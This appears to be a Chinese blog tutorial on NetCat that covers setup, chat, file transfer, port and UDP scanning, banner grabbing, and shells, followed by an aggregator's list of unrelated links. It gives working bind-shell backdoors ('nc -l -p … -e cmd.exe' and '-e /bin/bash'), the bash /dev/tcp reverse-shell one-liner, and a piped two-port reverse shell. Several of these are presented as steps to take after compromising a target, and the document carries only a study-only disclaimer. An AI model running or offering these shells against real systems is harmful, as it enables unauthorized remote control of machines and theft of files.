当前位置: 首页 > news >正文

探索NetCat:网络流量监测与数据传输的利器

从简单的数据传输到复杂的网络调试,NetCat的灵活性和多功能性让人赞叹不已,在这篇文章中我将深入探讨NetCat的魅力,揭示它的基本功能、实用技巧以及在日常工作中的应用场景,发现如何用这一小工具提升的网络技能与效率。

目录

NetCat安装教程

NetCat基础使用

NetCat文件传输

NetCat端口探测

NetCat反弹shell


注意!!!:本文所述的网络安全攻击手段仅供学习和研究目的,旨在提高用户对网络安全威胁的认识,帮助读者加强自身的防护措施。任何使用本文内容进行的攻击行为,均由实施者自行承担相关责任。博主对此不承担任何法律责任或损失赔偿义务。请遵循法律法规,确保在合法的范围内使用所学知识。

NetCat安装教程

        Netcat简称为nc,被称为“网络工具的瑞士军刀”,是一个功能强大的网络工具,用于读写网络连接中的数据,它支持多种协议(如TCP和UDP),能够在网络上进行数据传输、调试、监控和安全测试,它的命令行界面使得使用者可以快速实现各种网络任务,非常适合系统管理员和网络安全专业人员使用,其下载地址为:地址 ,我们就以下载1.12的举例吧:

当然下载解压之后,如果电脑没有提前关闭杀软的话nc会被当成病毒给杀掉,我们可以打开杀软将杀掉的exe文件恢复并添加到信任区即可,然后我们点击键盘win键输入“高级系统设置”,点击环境变量,找到系统变量里面的path然后点击编辑:

然后将我们解压好netcat工具的目录编辑到里面,然后一直点击确定即可:

然后我们win+r输入cmd打开终端,在终端中输入nc -help,出现如下情况说明我们安装成功:

NetCat基础使用

创建服务端与客户端连接:这里我们可以借助netcat来分别创建服务端与客户端,然后进行两者简易的通信功能,具体如下所示:

01)创建服务端可以执行如下方法进行操作,cmd打开一个终端执行如下命令:

// -l: 启动监听模式 -p: 监听某个端口的连接
nc -l -p [本地端口]

02)创建客户端可以执行如下方法进行操作,cmd打开第二个终端执行如下命令:

nc [服务器ip] [服务器ip开启的端口号]

接下来在服务器中编写相应的信息进行发送,可以看到我们的客户端能及时的收到我们的消息:

返回shell使用:当我们在服务端执行相应的命令之后,在客户端我们就可以执行命令拿到服务端的cmd权限,当拿到目标机器并且目标机器上存在netcat之后,可以使用netcat建立后门方便后期执行目标机器命令的功能:具体如下所示:

弹回Window系统下的shell可以采取如下方式进行:

01)创建服务端可以执行如下方法进行操作,cmd打开一个终端执行如下命令:

// -l: 启动监听模式 -p: 监听某个端口的连接 
// -e cmd.exe: 表示连接之后返回给连接段的程序是cmd.exe
nc -l -p [本地端口] -e cmd.exe

02)创建客户端这里我们使用虚拟机kail系统,虚拟机网络连接方式选择NAT方式,切换到root权限终端执行如下命令:

nc [ip地址] [端口号]

弹回Linux系统下的shell可以采取如下方式进行: 

01)创建服务端可以执行如下方法进行操作,打开一个终端执行如下命令:

nc -l -p [端口号] -e /bin/bash

02)创建客户端这里我们使用window系统,终端执行如下命令:

当然netcat还有一些其他的使用命令,这里就不再一一赘述了,具体可参考如下:

// 参数 + 说明
-C 类似-L选项,一直不断连接[1.13版本新加的功能]
-d 后台执行
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway 源路由跳数,最大值为8(source-routing hop point[s],up to 8)
-G num 源路由指针:4,8,12,... (source-routing pointer: 4,8,12,...)
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式,[netcat-1.15可以:远程nc -ulp port -e cmd.exe,本地nc -u ip port连接,得到一个shell.]
-v 详细输出——用两个-v可得到更详细的内容
-w secs 指定超时的时间
-z 将输入输出关掉——用于扫描时

NetCat文件传输

NetCat工具还提供了文件传输的操作,具体的使用场景主要有以下两个方面可以进行:

取证:当目标机器被黑客攻击之后取证任意可以利用NC的文件传输功能来获取目标机器上的文件内容,避免直接在目标机器上进行操作造成的取证误差。

下载:当目标机器上有一些敏感文件内容无非正常下载时,可以利用NC来进行文件传输。

客户端向服务端传输:接下来我们可以实现在客户端中往服务端传递文件,具体如下所示:

01)创建服务端,终端执行如下命令将接收的文件重命名然后报错当前路径:

nc -l -p 4444 > test.txt

02)创建客户端,终端执行如下命令将当前路径下的文件传输给具体ip和端口的服务器:

nc [服务器ip] [服务器端口] < [传输文件]

服务端向客户端传输:传输方式无非是和上面的命令反着来而已,这里我们再将上面传输给服务端的test.txt文件再传递给客户端,这里直接演示:

NetCat端口探测

当获取到目标权限之后,如果目标机器没有任何途径可以对内网进行探测,但此时刚好有一个netcat的情况下,就可以使用netcat对目标机器进行内网ip的一个端口扫描,具体使用的命令如下所示:

// -v: 表示对错误进行详细输出
// -n: 不对目标机进行DNS解析
// -z: zero I/O 模式,专业对端口扫描,表示对目标IP发送的数据包不包含任何payload
// -w1: 超时设置1秒
nc -v -n -z -w1 [目标ip] [开始端口-结束端口]

如下我们对我们目标主机进行一个端口扫描:

当然如果要扫描范围的端口的话可能还需要等待一段时间,如果仅仅是扫描单个端口的话直接输入单个端口即可,扫描的非常迅速:

如果向查看本机的端口开放情况,可以终端执行 netstat -ano 命令进行查看:

Banner抓取:Banner是网络服务在连接时发送的初始信息,通常包含关于该服务的名称、版本号和其他相关信息,这些信息可以帮助用户或安全专家识别正在运行的服务,了解其配置和潜在的漏洞:

使用Netcat进行Banner抓取是指通过连接到某个网络服务(如HTTP、FTP、SMTP等)并获取服务的“横幅”(banner)信息,这个横幅通常包含关于服务版本、协议和其他有用信息,能够帮助安全专家识别潜在的漏洞或配置问题,具体命令如下所示:

// echo " " 使用echo输出什么都没有的" "
// | 通过管道连接发送到对应端口服务上 
echo " " | nc -v -n -w1 [目标地址] [开始端口-结束端口]

如果端口开放的情况下,端口扫描就会顺便把该端口的banner信息打印出来:

UDP端口扫描:有时候目标主机上有一些防护软件(防火墙),我们不能通过上面常规的TCP去扫描它的端口服务,这个时候我们就可以使用UDP对目标进行扫描,可以简单的绕过防火墙缺点是扫描的结果可能不是太准确,具体命令如下所示:

// -u: 参数使用UDP
nc -u -z -v [目标IP] [目标端口]

NetCat反弹shell

如果纯真某些时候拿到服务器权限之后想要设置一个反弹shell,但是目标服务器上没有安装netcat的情况下,这里时候我们就需要采取别的方式进行处理了,这里我们以bash反弹shell的方向进行举例说明:

1)客户端监听接收netcat命令,终端执行如下命令:

nc -lvp [监听端口]

2)没有安装nc的服务器反弹shell命令,终端执行如下命令:

bash -i >& /dev/tcp/[客户端ip]/[客户端监听端口] 0>&1

命令解释介绍

bash -i >& /dev/tcp/ip/port 0>&1

在命令中bash-i表示已交互模式运行bashshell。重定向符>&,如果是在其后加文件描述符,是将bash-i交互模式传递给文件描述符,而如果其后是文件,则将bash-i交互模式传递给文件。

dev/tcp/ip/port:表示传递给远程主机的IP地址对应的端口

文件描述符:0标准输入、1标准输出、2错误输入输出

命令中的0>&1表示将标准输入重定向到标准输出,实现远程的属于可以在远程输出对应内容

达到的效果如下所示,可以看到我们拿到了我们的linux服务器的shell,并且可以查看其文件信息了,这里有一个编码问题,后期处理掉即可:

如果拿到服务器权限之后想要设置一个反弹shell,可能存在一些防护软件或防火墙配置原因不支持nc的-e参数命令,这里我们可以采用如下的方式进行解决:

1)客户端同时监听两个端口(一个端口作为输入;另一个作为输出),打开两个终端执行:

// 终端1
nc -lvp 4445
// 终端2
nc -lvp 4446

2)服务端执行如下反弹shell命令:

nc ip port | /bin/bash | nc ip port

在上面命令中,在攻击测试机器上开启两个NC,其中一个作为输入,另一个作为输出,目标机器上,使用管道来重定向输入和输出,输入通过管道传给/bin/bash再通过管道来传递给输出,具体如下所示:

http://www.lryc.cn/news/475334.html

相关文章:

  • 【运动的&足球】足球运动员球守门员裁判检测系统源码&数据集全套:改进yolo11-DBBNCSPELAN
  • 求最大公约数,最小公倍数
  • Android——横屏竖屏
  • scala---10.30
  • Pinctrl子需要中client端使用pinctrl过程的驱动分析
  • 【网络】传输层协议TCP
  • 00-开发环境 MPLAB IDE 配置
  • <meta property=“og:type“ content=“website“>
  • C++ 实现俄罗斯方块游戏
  • QT打包Macosx应用发布App Store简易流程
  • untiy mlagents 飞机大战 ai训练
  • 从0开始学统计-什么是中心极限定理
  • 工具方法 - 个人活动的分类
  • 11.1组会汇报-基于区块链的安全多方计算研究现状与展望
  • ubuntu【桌面】 配置NAT模式固定IP
  • 评估 机器学习 回归模型 的性能和准确度
  • 如何下载安装TestLink?
  • 基于SSM+微信小程序的订餐管理系统(点餐2)
  • 【C++排序 双指针】1996. 游戏中弱角色的数量|1996
  • GESP4级考试语法知识(捕捉异常)
  • HTML 基础标签——元数据标签 <meta>
  • 栈虚拟机和寄存器虚拟机,有什么不同?
  • Windows下基于fping进行批量IP测试
  • 一款实用的Word文档图片转换与水印保护工具
  • 优化用于传感应用的衬底集成波导技术
  • Java多态特性的向上转型
  • C++ 判断语句的深入解析
  • 15分钟学 Go 第 33 天:项目结构
  • conda迁移虚拟环境路径
  • (八)JavaWeb后端开发——Tomcat